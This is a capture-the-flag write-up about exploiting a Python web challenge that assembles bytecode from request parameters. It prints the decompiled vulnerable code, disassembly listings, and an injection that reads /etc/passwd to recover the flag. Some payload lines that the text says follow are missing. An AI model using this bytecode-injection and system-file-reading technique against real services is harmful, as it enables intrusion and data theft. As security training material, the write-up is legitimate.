This challenge is about the control panel of the Southpark police department. (I wonder how many weird google searches I’m going to get on this post)
You can choose an action and a victim. When you submit the form, it’s a simple AJAX call that will display “‘human’ was ‘action'”
If we look closer at this ajax call we have some variables to play with:
We get the “source” code of this challenge in the form of 2 files, one web.py file and one compiled process.pyc file.
In web.py, we see we import the process.pyc:
import process
addition = "<br>"
addition += process.process(request.args)
response = addition
return response
Using the great Uncompyle2 by Mysterie, we can recover the source code of process.pyc:
def create_function(name, args_count, choice, actions, human):
def y():
pass
code = 't' + choice + ''\x00d\x01\x00\x83\x01\x00S'
consts = (None,) + (human,)
names = actions
fun = [args_count,
y.func_code.co_nlocals,
y.func_code.co_stacksize,
y.func_code.co_flags,
code,
consts,
names,
y.func_code.co_varnames,
y.func_code.co_filename,
name,
y.func_code.co_firstlineno,
y.func_code.co_lnotab]
y_code = types.CodeType(*fun)
return types.FunctionType(y_code, y.func_globals, name)
def kill(name):
return '%s was killed' % name
def arrest(name):
return '%s was arrested' % name
def bankrupt(name):
return '%s was bankrupted' % name
def process(args):
actions = tuple(args['actions'])
choice = args['choice'][0]
human = args['human'][0]
return create_function('myfunc', 0, choice, actions, human)()
create_function creates a Python lambda function from scratch and then returns it for consumption.
There is many ways to exploit this code because it calls a function name defined by the user in actions passing human as parameter like for example:
But I was intrigued by the “code” variable and the choice parameter which is inserted in the middle of what is Python byte-code. Can we exploit that for extra fun? (not extra points tough)
What is the purpose of:
Using Python dis module we can disassemble it: (comments are my own)
>>> choice = '\x00'
>>> dis.dis('t' + choice + '\x00d\x01\x00\x83\x01\x00S')
0 LOAD_GLOBAL 0 (0) // load actions (as globals=names)
3 LOAD_CONST 1 (1) // load human on stack
6 CALL_FUNCTION 1
9 RETURN_VALUE
Calling a function named after “actions” passing the “human” parameter.
So we can craft the following Python byte-code injection:
This byte-code string can be decoded as doing this:
0 LOAD_GLOBAL 0 (0) // push first "actions" parameter on stack : open
3 LOAD_CONST 1 (1) // push "human" parameter on stack : /etc/passwd
6 CALL_FUNCTION 1 // open('/etc/passwd')
9 LOAD_ATTR 1 (1) // load second "actions" parameter as a "read" attr for the open object created previously
12 CALL_FUNCTION 0 // read the file content: open('/etc/passwd').read()
15 RETURN_VALUE // we bypass rest of original byte-code by inserting a RETURN_VALUE opcode, bit like # -- in SQLi
16 LOAD_GLOBAL 0 (0) // original code
19 LOAD_CONST 1 (1)
22 CALL_FUNCTION 1
25 RETURN_VALUE
And we get the flag:
#
root:*:0:0:Charlie & flag -> d9301a72ee12eabb2b913398a3fab50b:/root:/bin/csh